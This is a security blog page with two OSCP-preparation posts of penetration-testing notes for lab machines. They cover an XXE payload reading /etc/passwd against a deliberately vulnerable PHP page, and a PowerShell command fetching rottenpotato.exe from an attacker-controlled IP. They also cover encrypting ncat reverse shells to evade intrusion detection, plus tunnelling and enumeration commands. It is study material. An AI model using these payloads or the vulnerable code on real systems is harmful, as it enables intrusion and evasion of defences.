HTTP’s Post. 0 Comments/posted in Python /by Joshua OSCP Preperation 2 22 May May 22, 2018 Over the last week, there have been a few new things that have made their way into my notes and that are worth mentioning. I’ve primarily been working on HTB machines and one of the machines that I completed about 2 weeks ago (Jeeves) has been retired and I do plan to do a full write-up on that box here soon. There was a big takeaway from the Jeeves box that was a brand new concept to me. So let’s dig in. Read More... [Windows] NTFS Alternate Data Streams: When we create a file, say a text file, we open it up, write something, save it, and exit. We know that when we revisit that file, the data we wrote will reside within this file. However, the NTFS file system has a feature called alternate data streams which is a way for a singular file to hold more than one stream of data. The second data stream is not readily apparent to a user unless you know what you are looking for. The original premise behind alternate data streams was to provide compatibility with files in OSX. Create an Alternate Data Stream – We create an alternate data stream with the origin file being “password”. Alternate Data Stream with a Secret Password Read the Password File – We can edit the password file to contain any data we wish. In this case, I’ve added the text “No password here!!”. List and Read the Password File View and Read the Alternate Data Stream – If we use the command dir /r we can easily see there is an alternate data stream available. We can read this alternate stream with the native windows more command. List and Read the Alternate Data Stream XXE Vulnerabilities: XML External Entities is number 4 on the OWASP top 10. XXE is deadly and I did not understand it completely until this last week when I experienced a box with an XXE vulnerability. Essentially, XXE attacks exploit an XML processor (usually a .PHP page) via a HTTP Post. That is, you send pre-defined XML formatted data that the server is looking for and will parse via an HTTP Post and can obtain remote code execution (RCE). The exploit does not directly lead to a reverse shell however; you can easily enumerate a system to obtain information that may lead to a shell. Let’s look at example [Full Disclosure, I stole this example from Black Hills InfoSec]: Setup PHP Environment: Check Current PHP Version of your kali machine php –version Install php-xml subject to your version number (My version is 7.2): apt-get install php7.2-xml Open Burp Suite and make sure Proxy is on Verify Proxy is set within Firefox to catch the web server request. Create a Vulnerable PHP Page: Vulnerable PHP Code PHP <?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); $stuff = $xml->stuff; $str = "$stuff \n"; echo $str; ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); $stuff = $xml->stuff; $str = "$stuff \n"; echo $str; ?> Start PHP Web Server: php -S <ip>:80 -t <directory> PHP Web Server Start Playing with the Vulnerable PHP Page: There are several ways we can probe the webpage to check if it is vulnerable. First, we need to make sure we can get a valid reply back by sending the page an XML document. Let’s do this first with Curl: XML Code <xml> <stuff>Hello There!</stuff> </xml> 1 2 3 4 5 <xml> <stuff>Hello There!</stuff> </xml> And now we can send this XML document to the PHP server via curl and we should see our string come back: Curl Commad Shell curl -d @data.xml http://10.0.2.15/vuln.php 1 2 3 curl -d @data.xml http://10.0.2.15/vuln.php Awesome, we get our string back. Now, I am going to move to Burp Suite and continue to exploit since I can just send our GET HTTP request to repeater, change the GET to POST and add the XML data without having to use the curl command each time. First, let’s draft some XML Exploit code for remote code execution. XML Exploit Code <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <xml> <stuff>&xxe;</stuff> </xml> 1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <xml> <stuff>&xxe;</stuff> </xml> We can take this code and add it to our BurpSuite Post and boom, we get the /etc/passwd: Remote Code Execution in BurpSuite [Kali Tool] dotdotpwn: I’ve always explored Local File Inclusion (LFI) vulnerabilities by hand but, having to work with a more expedited time frame in regards to the OSCP, I’ve started using a new tool that’s native in Kali. I won’t go too in-depth with this tool as it’s pretty cut and dry. Long story short, it looks for LFI for you. It’s not perfect but, it should be something you have in your back pocket of tricks and tools. dotdotpwn Example Syntax 0 Comments/posted in Alternate Data Streams, LFI, OSCP, OWASP, Windows, XXE /by Joshua OSCP Preparation 1: 2 Weeks In Review 14 May May 14, 2018 OSCP officially starts for me on June 2nd, 2018. I purchased 60 days since I had to pay out of pocket and shit, that was expensive. In order to mitigate some of the inevitable head bashing I have been hitting the books hard. And by books, I really mean Hack The Box and VulnHub. My main goals are to define my service/version enumeration weaknesses and obtain new methods for pre/post-exploitation techniques. Primarily, working on Windows hosts as that’s one of the areas I am not very competent in. The OSCP Preparation posts will detail any tools, techniques, and different tech that I have encountered. So, here is at least two weeks of knowledge gained in one post. (I Plan on doing this weekly from here on out). Read More... [Linux] SSH Port Forwarding (SSH Tunneling): There have now been a handful of times where a service/process was running on a localhost that could be exploited, however, connections to it were limited to localhost only but could not be exploited, efficiently or effectively, on the actual host. Rather, we need to make it look like the connection is coming from the localhost but, it’s really coming from my Kali box. SSH Tunnel Shell # Port Forward ssh -L 1234:localhost:1234 user@192.168.1.30 1 2 3 4 # Port Forward ssh -L 1234:localhost:1234 user@192.168.1.30 Nmap -L Flag MAN Page Entry: SSH Tunnel Example Shell # Port Forward SevroSecurity.com to localhost on port 443 ssh -L 443:sevrosecurity.com:443 -Nf localhost 1 2 3 4 # Port Forward SevroSecurity.com to localhost on port 443 ssh -L 443:sevrosecurity.com:443 -Nf localhost Successful HTTPS SSH Tunnel [Windows] Powershell Command Execution within CMD: Having worked primarily with Linux, Windows post-exploitation enumeration is a continually steep learning curve for me. But, persistence has paid off. Here is one technique I have found when all you have is a Cmd.exe reverse shell. Basic Powershell Commands within CMD.exe: PowerShell # Simple Powershell Command powershell -command ("whoami") 1 2 3 4 # Simple Powershell Command powershell -command ("whoami") Download a File (Similar to Linux’s WGET): PowerShell # Download a file (Similar to Linux's WGET) powershell -command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.19:1234/rottenpotato.exe','C:\Users\Public\potato.exe') 1 2 3 4 # Download a file (Similar to Linux's WGET) powershell -command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.19:1234/rottenpotato.exe','C:\Users\Public\potato.exe') Service Version Enumeration: In every box writeup that I have on the site so far, there is one constant and that’s the NMAP scan. But, I found that in a more real-world scenario constant enumeration is key. The initial Nmap scan is a great start but, the following scans are always running in the background when I first get started. Effective and efficient enumeration is key. With that said, here are my five Go-To’s right away. Initial TCP Scan (Most Common Ports) nmap -sC -sV -oA initial-TCP <IP> Full TCP Scan nmap -sC -sV -p- -v -oA Full-TCP <IP> Initial UDP Scan (Most Common Ports) nmap -sU -sV -oA -oA initial-UDP <IP> Full UDP Scan nmap -sU -sV -p- -oA Full-UDP <IP> Vulnerability Checking nmap –script vuln -v -oA vulns <IP> [Linux] Post-Exploitation Process Enumeration: One of the things we have talked about before is the post-exploitation techniques, mainly for Linux. One item that I have missed and has proven to be very valuable has been process enumeration. Specifically, root level processes. Shell ps aux | grep root ps -ef | grep root 1 2 3 4 ps aux | grep root ps -ef | grep root There have been several times where this simple enumeration has lead to a successful privilege escalation on a box. If it works, it ain’t stupid! Encrypted Netcat Communications: Okay, say you have a reverse shell but there’s a HIDS or some form of traffic signature analysis that is actively being measured on a host. One awesome way to mitigate string pattern matching is to encrypt your reverse or bind shell. First, let’s take a look at a regular reverse shell. Windows – Ncat Syntax Kali- Catching Reverse Shell As you can see, we caught the Windows 10 reverse shell from Ncat and we subsequently ran “whoami”. When we analyze the data generated from this session in Wireshark, we can plainly see our data is in plaintext as seen below. Unencrypted Reverse Shell Communication We can easily avoid this plaintext command disclosure by adding the –ssl flag to our Ncat syntax: Windows 10 – Ncat Syntax Kali – Catch Encrypted Reverse Shell And we can now verify that our communication is in-fact encrypted with Wireshark. Encrypted Reverse Shell [Windows] CACLS – iCACLS: Like I said before, Windows is not my strong suit, yet! Us OSCP goers and professional Penetration Testers first check for low hanging fruit but for me, I don’t know the windows fruit from a damn rabbit hole. So, a simple yet humbling discovery is how to manipulate basic file and directory permissions from a cmd.exe shell. This is where the ICACLS come it. It’s Windows native Access Control List binary and you need to know it. Windows – Check File Permissions I’m not going to do a huge write-up on ICACLS so here are some simple commands: Check Permissions: icacls putty.exe Force Remove: icacls putty.exe /deny admin:(F) Then add Read + Execute: icacls putty.exe /grant:r admin:(RX) Validate Permissions: icacls putty.exe 1 2 3 4 5 6 Check Permissions: icacls putty.exe Force Remove: icacls putty.exe /deny admin:(F) Then add Read + Execute: icacls putty.exe /grant:r admin:(RX) Validate Permissions: icacls putty.exe 0 Comments/posted in Enumeration, Linux Enumeration, OSCP, Python, SSH Tunnel, Windows, Windows Enumeration /by Joshua Page 1 of 3123 HomeLatest News ChecklistsFor the Inner Script Kiddie Windows Priv-Esc Linux Priv-Esc Walk-ThroughsHTB, VulnHub, & Root-Me VulnHub Kioptrix Level 1 Kioptrix Level 2 Kioptrix Level 3 HTB Mirai Bashed About MeWho Am I? ContactGet In Touch Followon TwitterSubscribeto RSS Feed MN Cyber Events: There are no upcoming events. View Calendar Add Add to Timely Calendar Add to Google Add to Outlook Add to Apple Calendar Add to other calendar Export to XML Sevro Security Freefloat FTP Remote Buffer Overflow OSCP: Week 1 & 2 OSCP Preperation 3 OSCP Preperation 2 OSCP Preparation 1: 2 Weeks In Review Open Source Honeypot Attack Data My Book Recommendations Pre-Exploitation Techniques Linux Post-Exploitation Techniques Scripts and Automation! Archives August 2018 June 2018 May 2018 April 2018 January 2018 Interesting links Besides are some interesting links for you! Enjoy your stay :) Pages About Me Bashed Calendar Checklists Contact CTF Challenges HTB Kioptrix Level 1 Kioptrix Level 2 Kioptrix Level 3 Linux Priv-Esc Mirai VulnHub Walk-Throughs Windows Priv-Esc Categories Alternate Data Streams assembly assmebly bash books buffer overflow cowrie Enumeration hacker hacking honeynet honeypot HTB learning LFI Linux Enumeration malware nmap noob open source data OSCP OWASP p0f pre-exploitation Privesc Python SSH Tunnel stack overflow training Tutorial Windows Windows Enumeration XXE Archive August 2018 June 2018 May 2018 April 2018 January 2018 © Copyright - Sevro Security -